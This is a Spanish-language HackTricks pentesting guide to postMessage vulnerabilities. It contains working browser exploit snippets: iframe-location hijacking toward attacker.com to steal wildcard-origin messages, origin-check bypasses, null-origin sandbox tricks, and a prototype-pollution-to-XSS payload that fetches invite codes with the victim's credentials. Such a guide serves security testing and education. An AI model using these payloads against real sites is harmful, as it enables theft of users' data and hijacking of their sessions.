hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

14 KiB

Vulnerabilidades de PostMessage

Vulnerabilidades de PostMessage

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Enviar PostMessage

PostMessage utiliza la siguiente función para enviar un mensaje:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Tenga en cuenta que targetOrigin puede ser un '*' o una URL como https://company.com.
En el segundo escenario, el mensaje solo se puede enviar a ese dominio (incluso si el origen del objeto de ventana es diferente).
Si se utiliza el comodín, los mensajes podrían enviarse a cualquier dominio, y se enviarán al origen del objeto de ventana.

Atacando iframe y comodín en targetOrigin

Como se explica en este informe si encuentra una página que se puede iframar (sin protección X-Frame-Header) y que está enviando mensajes sensibles a través de postMessage utilizando un comodín (*), puede modificar el origen del iframe y filtrar el mensaje sensible a un dominio controlado por usted.
Tenga en cuenta que si la página se puede iframar pero el targetOrigin está configurado en una URL y no en un comodín, este truco no funcionará.

<html>
   <iframe src="https://docs.google.com/document/ID" />
   <script>
      setTimeout(exp, 6000); //Wait 6s
      
      //Try to change the origin of the iframe each 100ms
      function exp(){
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
          }, 100);
      }
   </script>

Explotación de addEventListener

addEventListener es la función utilizada por JS para declarar la función que está esperando postMessages.
Se utilizará un código similar al siguiente:

window.addEventListener("message", (event) => {
  if (event.origin !== "http://example.org:8080")
    return;

  // ...
}, false);

Nota en este caso cómo lo primero que hace el código es verificar el origen. Esto es terriblemente importante, principalmente si la página va a hacer algo sensible con la información recibida (como cambiar una contraseña). Si no se verifica el origen, los atacantes pueden hacer que las víctimas envíen datos arbitrarios a estos puntos finales y cambiar las contraseñas de las víctimas (en este ejemplo).

Enumeración

Para encontrar los escuchadores de eventos en la página actual, puede:

  • Buscar el código JS para window.addEventListener y $(window).on (versión JQuery)
  • Ejecutar en la consola de herramientas para desarrolladores: getEventListeners(window)

  • Ir a Elementos --> Escuchadores de eventos en las herramientas para desarrolladores del navegador

Bypasses básicos de verificación de origen

  • Si se utiliza indexOf() para verificar el origen del evento PostMessage, recuerde que se puede evitar fácilmente como en el siguiente ejemplo: ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")\
  • Si se utiliza search() para validar el origen podría ser inseguro. Según la documentación de String.prototype.search(), el método toma un objeto de expresión regular en lugar de una cadena. Si se pasa algo que no sea una expresión regular, se convertirá implícitamente en una expresión regular.
    En la expresión regular, un punto (.) se trata como un comodín. Un atacante puede aprovecharlo y usar un dominio especial en lugar del oficial para evitar la validación, como en: "https://www.safedomain.com".search("www.s.fedomain.com").\
  • Si se utiliza la función escapeHtml, la función no crea un objeto escapado new, en su lugar sobrescribe propiedades del objeto existente. Esto significa que si podemos crear un objeto con una propiedad controlada que no responda a hasOwnProperty, no se escapará.
// Expected to fail:
result = u({
  message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

El objeto File es perfecto para este exploit ya que tiene una propiedad de solo lectura name que es utilizada por nuestra plantilla y pasará por alto la función escapeHtml.

Saltando e.origin == window.origin

Cuando una página está incrustada en un iframe con sandbox a través de <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">, el origen de ese iframe será null.

Cuando se establece el valor de sandbox allow-popups, entonces la ventana emergente abierta heredará todos los atributos sandbox a menos que se establezca allow-popups-to-escape-sandbox.
Por lo tanto, abrir una ventana emergente desde un origen nulo hará que window.origin dentro de la ventana emergente también sea null.

Por lo tanto, si abres un iframe con sandbox permitiendo ventanas emergentes, y luego abres una ventana emergente desde dentro del iframe, y envías un postMessage desde el iframe a la ventana emergente, ambos orígenes son nulos, por lo que: e.origin == window.origin == null

Para obtener más información, lee:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

Saltando e.source

Puedes forzar que e.source de un mensaje sea nulo creando un iframe que envíe el postMessage y se elimine inmediatamente.

Para obtener más información, lee:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

Saltando la cabecera X-Frame

Para realizar estos ataques, idealmente podrás poner la página web víctima dentro de un iframe. Pero algunas cabeceras como X-Frame-Header pueden prevenir ese comportamiento.
En esos escenarios, aún puedes usar un ataque menos sigiloso. Puedes abrir una nueva pestaña en la aplicación web vulnerable y comunicarte con ella:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Robando mensajes enviados a un hijo bloqueando la página principal

En la siguiente página puedes ver cómo podrías robar datos sensibles enviados a un iframe hijo mediante un postmessage bloqueando la página principal antes de enviar los datos y abusando de un XSS en el hijo para filtrar los datos antes de que sean recibidos:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

Robando mensajes modificando la ubicación del iframe

Si puedes incluir un iframe de una página web sin el encabezado X-Frame, que contiene otro iframe, puedes cambiar la ubicación del iframe hijo, por lo que si está recibiendo un postmessage enviado usando un comodín, un atacante podría cambiar el origen de ese iframe a una página controlada por él y robar el mensaje:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage a la contaminación de prototipos y/o XSS

En escenarios donde los datos enviados a través de postMessage son ejecutados por JS, puedes incluir un iframe en la página y explotar la contaminación de prototipos/XSS enviando el exploit a través de postMessage.

Un par de XSS muy bien explicados a través de postMessage se pueden encontrar en https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Ejemplo de un exploit para abusar de la contaminación de prototipos y luego XSS a través de un postMessage a un iframe:

<html>
<body>
    <iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
    <script>
        function get_code() {
            document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
            document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
        }

        setTimeout(get_code, 2000);
    </script>
</body>
</html>

Para más información:

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥